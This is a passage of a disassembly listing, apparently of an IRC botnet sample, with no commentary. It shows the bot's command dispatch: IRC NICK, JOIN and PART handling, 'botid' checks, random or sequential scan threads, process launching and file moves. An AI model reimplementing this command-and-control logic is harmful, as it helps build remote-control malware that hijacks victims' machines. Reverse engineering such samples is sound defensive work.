cmp ecx, edi
jl short loc_412054
loc_412076: ; CODE XREF: sub_40EE51+3201j
; sub_40EE51+3205j
mov [ebp+var_304], 1
jmp short loc_412088
; ---------------------------------------------------------------------------
loc_412082: ; CODE XREF: sub_40EE51+31DBj
mov [ebp+var_304], ebx
loc_412088: ; CODE XREF: sub_40EE51+315Ej
; sub_40EE51+322Fj
mov eax, [ebp+arg_4]
push [ebp+Format] ; Format
mov [ebp+var_334], eax
mov eax, [ebp+var_4]
mov [ebp+var_30C], eax
mov eax, [ebp+var_8]
mov [ebp+var_308], eax
mov edi, 80h
lea eax, [ebp+var_434]
push edi ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_4120D9
loc_4120C6: ; CODE XREF: sub_40EE51+32ABj
push esi ; Format
loc_4120C7: ; CODE XREF: sub_40EE51+3295j
lea eax, [ebp+var_3B4]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_412104
; ---------------------------------------------------------------------------
loc_4120D9: ; CODE XREF: sub_40EE51+3273j
mov eax, [ebp+Str1]
cmp eax, ebx
jz short loc_4120E8
cmp byte ptr [eax], 23h
jnz short loc_4120E8
push eax
jmp short loc_4120C7
; ---------------------------------------------------------------------------
loc_4120E8: ; CODE XREF: sub_40EE51+328Dj
; sub_40EE51+3292j
mov esi, offset aS_5 ; "#!S#"
push offset byte_4397BC ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4120C6
mov [ebp+var_3B4], bl
loc_412104: ; CODE XREF: sub_40EE51+3286j
cmp [ebp+var_304], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_412116
mov eax, offset aSequential ; "Sequential"
loc_412116: ; CODE XREF: sub_40EE51+32BEj
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+Dst]
push offset unk_435F4C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 8 ; int
push eax ; Source
call sub_416D48
add esp, 2Ch
mov [ebp+var_324], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_40796C
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4121A4
loc_41218E: ; CODE XREF: sub_40EE51+3351j
cmp [ebp+var_300], ebx
jnz loc_4145C3
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_41218E
; ---------------------------------------------------------------------------
loc_4121A4: ; CODE XREF: sub_40EE51+333Bj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_435F04
jmp loc_413BD1
; ---------------------------------------------------------------------------
loc_4121B5: ; CODE XREF: sub_40EE51+27C4j
; sub_40EE51+27DBj
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
cmp ds:byte_442088[eax], bl
jz loc_414F3C
cmp [ebp+var_C], ebx
jz loc_414F3C
push [ebp+Str1] ; Str
call _strlen
push edi ; Str
mov esi, eax
call _strlen
push [ebp+arg_8] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
lea eax, [ebp+Dst]
push esi
push offset dword_435EF8 ; Format
push eax ; Dest
call _sprintf
add esp, 20h
cmp esi, ebx
jz loc_414F3C
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_414F3C
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_414F3C
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push [ebp+Str1] ; Str
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push ds:dword_44207C[eax] ; int
call sub_40D670
push edi ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_441E70[eax], 73h
jnz loc_414F3C
push esi
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_442088
push eax
push [ebp+Str1]
push offset aSSS_1 ; "[%s] * %s %s"
loc_41229D: ; CODE XREF: sub_40EE51+3549j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
loc_4122C2: ; CODE XREF: sub_40EE51+5851j
add esp, 28h
jmp loc_414F3C
; ---------------------------------------------------------------------------
loc_4122CA: ; CODE XREF: sub_40EE51+2796j
; sub_40EE51+27ADj
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
cmp ds:byte_442088[eax], bl
jz loc_414F3C
cmp [ebp+var_C], ebx
jz loc_414F3C
push [ebp+Str1] ; Str
call _strlen
push edi ; Str
mov esi, eax
call _strlen
push [ebp+arg_8] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_414F3C
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_414F3C
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_414F3C
push ebx ; int
push ebx ; int
push esi ; int
push [ebp+Str1] ; Str
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push ds:dword_44207C[eax] ; int
call sub_40D670
push edi ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_441E70[eax], 73h
jnz loc_414F3C
push esi
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_442088
push eax
push [ebp+Str1]
push offset aSSS_2 ; "[%s] <%s> %s"
jmp loc_41229D
; ---------------------------------------------------------------------------
loc_41239F: ; CODE XREF: sub_40EE51+2768j
; sub_40EE51+277Fj
push edi
call ds:dword_43C658 ; inet_addr
push [ebp+Str1] ; Str
mov [ebp+var_474], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_480], eax
call _atoi
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_47C], eax
lea eax, [ebp+var_500]
mov [ebp+var_504], esi
push eax ; Dest
call _strncpy
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_46C], edi
push [ebp+var_47C]
mov [ebp+var_468], eax
push [ebp+var_480]
push [ebp+var_474]
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Dst]
push offset unk_435E8C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 8 ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov [ebp+var_478], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_504]
push ebx
push eax
push offset sub_415E26
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_478]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_412481
loc_41246B: ; CODE XREF: sub_40EE51+362Ej
cmp [ebp+var_464], ebx
jnz loc_4144A4
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_41246B
; ---------------------------------------------------------------------------
loc_412481: ; CODE XREF: sub_40EE51+3618j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_435E40
jmp loc_414495
; ---------------------------------------------------------------------------
loc_412492: ; CODE XREF: sub_40EE51+273Aj
; sub_40EE51+2751j
push edi ; Str
call _atoi
push 7Fh ; Count
mov [ebp+var_314], eax
push [ebp+Str1] ; Source
lea eax, [ebp+var_418]
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
call _atoi
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
mov [ebp+var_318], eax
lea eax, [ebp+var_398]
push 80h ; Count
push eax ; Dest
mov [ebp+var_420], esi
call __snprintf
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_304], eax
push [ebp+var_318]
lea eax, [ebp+var_418]
mov [ebp+var_308], edi
push eax
push [ebp+var_314]
push esi
call sub_40AEDB
pop ecx
push eax
lea eax, [ebp+Dst]
push offset unk_435DF4 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 10h ; int
push eax ; Source
call sub_416D48
add esp, 24h
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_420]
push ebx
push eax
push offset sub_407BCB
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_41257B
loc_412565: ; CODE XREF: sub_40EE51+3728j
cmp [ebp+var_300], ebx
jnz loc_4144A4
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_412565
; ---------------------------------------------------------------------------
loc_41257B: ; CODE XREF: sub_40EE51+3712j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_435DA0
jmp loc_414495
; ---------------------------------------------------------------------------
loc_41258C: ; CODE XREF: sub_40EE51+270Cj
; sub_40EE51+2723j
push 0FFh ; Count
lea eax, [ebp+var_780]
push edi ; Source
push eax ; Dest
call _strncpy
push 0FFh ; Count
lea eax, [ebp+var_680]
push [ebp+Str1] ; Source
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
mov [ebp+var_57C], ebx
call _atoi
mov [ebp+var_578], eax
mov eax, dword ptr [ebp+esi+Args]
add esp, 1Ch
cmp eax, ebx
jz short loc_4125E8
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_4125EE
; ---------------------------------------------------------------------------
loc_4125E8: ; CODE XREF: sub_40EE51+3781j
mov [ebp+var_570], ebx
loc_4125EE: ; CODE XREF: sub_40EE51+3795j
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_412605
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_574], eax
jmp short loc_41260B
; ---------------------------------------------------------------------------
loc_412605: ; CODE XREF: sub_40EE51+37A3j
mov [ebp+var_574], ebx
loc_41260B: ; CODE XREF: sub_40EE51+37B2j
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
push [ebp+Str1]
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
push edi
lea eax, [ebp+Dst]
push offset unk_435D64 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 16h ; int
push eax ; Source
call sub_416D48
add esp, 28h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_40CAF1
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4126B9
loc_4126A3: ; CODE XREF: sub_40EE51+3866j
cmp [ebp+var_560], ebx
jnz loc_411D1C
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_4126A3
; ---------------------------------------------------------------------------
loc_4126B9: ; CODE XREF: sub_40EE51+3850j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_435D14
jmp loc_4128BC
; ---------------------------------------------------------------------------
loc_4126CA: ; CODE XREF: sub_40EE51+26DEj
; sub_40EE51+26F5j
push 7Fh
lea eax, [ebp+var_76C]
pop esi
push esi ; Count
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_6EC]
push [ebp+Str1] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_66C]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_5EC]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_8]
push [ebp+Src]
mov esi, [ebp+var_4]
mov [ebp+var_564], eax
mov eax, [ebp+arg_4]
push [ebp+Str1]
mov [ebp+var_770], eax
lea eax, [ebp+Dst]
push edi
push offset dword_435CD8 ; Format
push eax ; Dest
mov [ebp+var_568], esi
call _sprintf
add esp, 44h
lea eax, [ebp+Dst]
push ebx ; int
push 0Bh ; int
push eax ; Source
call sub_416D48
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_770]
push ebx
push eax
push offset sub_4019D1
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_41279D
loc_41278B: ; CODE XREF: sub_40EE51+394Aj
cmp [ebp+var_560], ebx
jnz short loc_4127B8
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_41278B
; ---------------------------------------------------------------------------
loc_41279D: ; CODE XREF: sub_40EE51+3938j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset dword_435C90 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_4127B8: ; CODE XREF: sub_40EE51+3940j
cmp [ebp+var_8], ebx
jnz loc_414DFC
push ebx
push esi
jmp loc_4145D0
; ---------------------------------------------------------------------------
loc_4127C8: ; CODE XREF: sub_40EE51+2699j
; sub_40EE51+26B0j ...
push 7Fh
lea eax, [ebp+var_7E8]
pop esi
push esi ; Count
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_768]
push [ebp+Str1] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_6E8]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_668]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
push 20h ; Count
lea eax, [ebp+var_5E8]
push [ebp+arg_8] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
push [ebp+Src]
mov esi, [ebp+arg_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
push [ebp+Str1]
mov [ebp+var_564], eax
lea eax, [ebp+Dst]
push edi
push offset unk_435C50 ; Format
push eax ; Dest
mov [ebp+var_7F0], esi
call _sprintf
add esp, 50h
lea eax, [ebp+Dst]
push ebx ; int
push 0Ah ; int
push eax ; Source
call sub_416D48
add esp, 0Ch
mov [ebp+var_7EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F0]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_7EC]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4128B0
loc_41289A: ; CODE XREF: sub_40EE51+3A5Dj
cmp [ebp+var_560], ebx
jnz loc_411D1C
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_41289A
; ---------------------------------------------------------------------------
loc_4128B0: ; CODE XREF: sub_40EE51+3A47j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_435C08 ; Format
loc_4128BC: ; CODE XREF: sub_40EE51+2EADj
; sub_40EE51+3006j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
jmp loc_411D19
; ---------------------------------------------------------------------------
loc_4128CD: ; CODE XREF: sub_40EE51+266Bj
; sub_40EE51+2682j
push 7Fh ; Count
lea eax, [ebp+var_458]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Str1] ; Str
call _atoi
push 3Fh ; Count
mov [ebp+var_308], eax
push [ebp+Src] ; Source
lea eax, [ebp+var_3D8]
push eax ; Dest
call _strncpy
mov esi, dword ptr [ebp+esi+Args]
add esp, 1Ch
cmp esi, ebx
jz short loc_41291B
push 3Fh ; Count
lea eax, [ebp+var_398]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41291B: ; CODE XREF: sub_40EE51+3AB6j
lea eax, [ebp+var_3D8]
mov [ebp+var_304], 1
push eax
lea eax, [ebp+var_458]
push [ebp+var_308]
push eax
lea eax, [ebp+Dst]
push offset unk_435BC8 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 18h ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov [ebp+var_300], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_45C]
push ebx
push eax
push offset sub_40EB71
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_300]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4129A7
loc_412991: ; CODE XREF: sub_40EE51+3B54j
cmp [ebp+var_2FC], ebx
jnz loc_413A2F
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_412991
; ---------------------------------------------------------------------------
loc_4129A7: ; CODE XREF: sub_40EE51+3B3Ej
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_435B80
jmp loc_411891
; ---------------------------------------------------------------------------
loc_4129B8: ; CODE XREF: sub_40EE51+262Bj
; sub_40EE51+2642j
push [ebp+Str1] ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_412AA9
mov esi, 80h
push edi ; Format
lea eax, [ebp+var_6F8]
push esi ; Count
push eax ; Dest
call __snprintf
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+Format] ; Format
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
push [ebp+Str1]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
push edi
push offset unk_435B44 ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Dh ; int
push eax ; Source
call sub_416D48
add esp, 38h
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_401447
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_412A98
loc_412A82: ; CODE XREF: sub_40EE51+3C45j
cmp [ebp+var_560], ebx
jnz loc_4145C3
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_412A82
; ---------------------------------------------------------------------------
loc_412A98: ; CODE XREF: sub_40EE51+3C2Fj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_435AFC
jmp loc_413BD1
; ---------------------------------------------------------------------------
loc_412AA9: ; CODE XREF: sub_40EE51+3B78j
push offset unk_435AB4
jmp loc_4145B5
; ---------------------------------------------------------------------------
loc_412AB3: ; CODE XREF: sub_40EE51+25FDj
; sub_40EE51+2614j
push [ebp+Str1]
push edi
call ds:dword_42316C ; MoveFileA
test eax, eax
jz short loc_412AE0
push [ebp+Str1]
lea eax, [ebp+Dst]
push edi
push offset unk_435A80 ; Format
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_4132F5
; ---------------------------------------------------------------------------
loc_412AE0: ; CODE XREF: sub_40EE51+3C6Ej
push offset dword_435A64
call sub_40AA30
push eax ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp loc_4145C3
; ---------------------------------------------------------------------------
loc_412B04: ; CODE XREF: sub_40EE51+25CFj
; sub_40EE51+25E6j
push edi ; Format
lea eax, [ebp+var_774]
push 104h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_412B3E
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412B3E
push eax ; Format
lea eax, [ebp+var_670]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_412B3E: ; CODE XREF: sub_40EE51+3CCBj
; sub_40EE51+3CDCj
push [ebp+Format] ; Format
lea eax, [ebp+var_7F4]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov [ebp+var_7F8], eax
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_670]
push eax
lea eax, [ebp+var_774]
push eax
push offset unk_435A24 ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ch ; int
push eax ; Source
call sub_416D48
add esp, 2Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F8]
push ebx
push eax
push offset sub_408DC8
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_412BF1
loc_412BDB: ; CODE XREF: sub_40EE51+3D9Ej
cmp [ebp+var_560], ebx
jnz loc_414DFC
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_412BDB
; ---------------------------------------------------------------------------
loc_412BF1: ; CODE XREF: sub_40EE51+3D88j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_4359D8
jmp loc_414DED
; ---------------------------------------------------------------------------
loc_412C02: ; CODE XREF: sub_40EE51+25A1j
; sub_40EE51+25B8j
push 44h
lea eax, [ebp+var_4A0]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
push 1
mov [ebp+var_4A0], esi
pop esi
mov word ptr [ebp+var_470], bx
push edi ; Str
mov [ebp+var_474], esi
call _atoi
add esp, 10h
cmp eax, esi
jnz short loc_412C3F
mov word ptr [ebp+var_470], 5
loc_412C3F: ; CODE XREF: sub_40EE51+3DE3j
cmp [ebp+var_C], ebx
jz loc_413A2F
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_413A2F
lea eax, [ebp+var_2EC]
push eax
lea eax, [ebp+var_4A0]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_423120 ; CreateProcessA
test eax, eax
jnz short loc_412C8A
push offset unk_4359A4
jmp loc_413A21
; ---------------------------------------------------------------------------
loc_412C8A: ; CODE XREF: sub_40EE51+3E2Dj
push edi
push offset dword_43597C
jmp loc_411891
; ---------------------------------------------------------------------------
loc_412C95: ; CODE XREF: sub_40EE51+2573j
; sub_40EE51+258Aj
push [ebp+Str1] ; Str2
push offset aBotid ; "botid"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_412E09
lea eax, [ebp+FullPath]
push eax
push 104h
call ds:dword_42312C ; GetTempPathA
push 0FFh ; Count
lea eax, [ebp+var_780]
push edi ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_2F8]
push eax
call sub_4159E3
push eax
lea eax, [ebp+FullPath]
push eax
lea eax, [ebp+var_680]
push offset aSS_exe ; "%s%s.exe"
push eax ; Dest
call _sprintf
mov eax, [ebp+esi+var_88]
add esp, 20h
cmp eax, ebx
mov [ebp+var_57C], 1
mov [ebp+var_578], ebx
jz short loc_412D27
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_412D2D
; ---------------------------------------------------------------------------
loc_412D27: ; CODE XREF: sub_40EE51+3EC0j
mov [ebp+var_570], ebx
loc_412D2D: ; CODE XREF: sub_40EE51+3ED4j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_412D47
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_574], eax
jmp short loc_412D4D
; ---------------------------------------------------------------------------
loc_412D47: ; CODE XREF: sub_40EE51+3EE5j
mov [ebp+var_574], ebx
loc_412D4D: ; CODE XREF: sub_40EE51+3EF4j
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
push edi
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
lea eax, [ebp+Dst]
push offset unk_435934 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 17h ; int
push eax ; Source
call sub_416D48
add esp, 24h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_40CAF1
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_412DF8
loc_412DE2: ; CODE XREF: sub_40EE51+3FA5j
cmp [ebp+var_560], ebx
jnz loc_413A2F
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_412DE2
; ---------------------------------------------------------------------------
loc_412DF8: ; CODE XREF: sub_40EE51+3F8Fj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_4358E8
jmp loc_411891
; ---------------------------------------------------------------------------
loc_412E09: ; CODE XREF: sub_40EE51+3E55j
push offset unk_435894
jmp loc_413A21
; ---------------------------------------------------------------------------
loc_412E13: ; CODE XREF: sub_40EE51+2545j
; sub_40EE51+255Cj
push [ebp+var_90] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40F215
cmp [ebp+var_C], ebx
jz loc_40F215
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
push eax
lea eax, [ebp+Dst]
push [ebp+Format]
push [ebp+var_90]
push [ebp+Str2]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
push edi ; Str
call _atoi
add esp, 30h
test eax, eax
jle short loc_412E9A
push edi ; Str
call _atoi
imul eax, 3E8h
pop ecx
push eax
call ds:dword_423060 ; Sleep
loc_412E9A: ; CODE XREF: sub_40EE51+4033j
push offset dword_435860
call sub_40BF6F
mov eax, [ebp+File]
pop ecx
inc eax
jmp loc_40F218
; ---------------------------------------------------------------------------
loc_412EAE: ; CODE XREF: sub_40EE51+2517j
; sub_40EE51+252Ej
push [ebp+var_90] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40F215
cmp [ebp+var_C], ebx
jz loc_414F3C
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
mov eax, [ebp+Str1]
inc eax
push offset aRepeat ; "repeat"
push eax ; Str1
call _strcmp
add esp, 10h
test eax, eax
push esi
jz short loc_412F6A
push [ebp+Format]
lea eax, [ebp+Dst]
push [ebp+var_90]
push [ebp+Str2]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
push esi
lea eax, [ebp+Dst]
push offset dword_435830 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
push edi ; Str
loc_412F4B: ; DATA XREF: UPX0:off_42CE40o
call _atoi
add esp, 38h
test eax, eax
jle loc_414F3C
push edi ; Str
call _atoi
add eax, [ebp+File]
pop ecx
jmp loc_40F218
; ---------------------------------------------------------------------------
loc_412F6A: ; CODE XREF: sub_40EE51+40A2j
push offset dword_4357EC
jmp loc_411891
; ---------------------------------------------------------------------------
loc_412F74: ; CODE XREF: sub_40EE51+24E9j
; sub_40EE51+2500j
push [ebp+Str1]
lea eax, [ebp+Dst]
push offset aPartS ; "PART %s"
push eax ; Dest
call _sprintf
push edi ; Str
call _atoi
add esp, 10h
loc_412F91: ; CODE XREF: sub_40EE51+41AAj
test eax, eax
jle loc_414F3C
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_414F3C
loc_412FAB: ; CODE XREF: sub_40EE51+4CB2j
lea eax, [ebp+Dst]
push eax ; Args
push offset aS_6 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push ds:dword_44207C[eax] ; int
call sub_40D62A
loc_412FCF: ; CODE XREF: sub_40EE51+5D50j
add esp, 0Ch
jmp loc_414F3C
; ---------------------------------------------------------------------------
loc_412FD7: ; CODE XREF: sub_40EE51+24BBj
; sub_40EE51+24D2j
push [ebp+esi+var_88]
lea eax, [ebp+Dst]
push [ebp+Str1]
push offset aJoinSS ; "JOIN %s %s"
push eax ; Dest
call _sprintf
push edi ; Str
call _atoi
add esp, 14h
jmp short loc_412F91
; ---------------------------------------------------------------------------
loc_412FFD: ; CODE XREF: sub_40EE51+248Dj
; sub_40EE51+24A4j
push [ebp+Str1]
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
push edi ; Str
call _atoi
add esp, 10h
test eax, eax
jle loc_414F3C
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_414F3C
lea eax, [ebp+Dst]
push eax ; Args
push offset aS_6 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push ds:dword_44207C[eax] ; int
call sub_40D62A
push [ebp+Str1]
push edi ; Args
push offset dword_4357A4 ; Format
loc_413061: ; CODE XREF: sub_40EE51+429Aj
; sub_40EE51+4305j ...
call sub_40BFE3
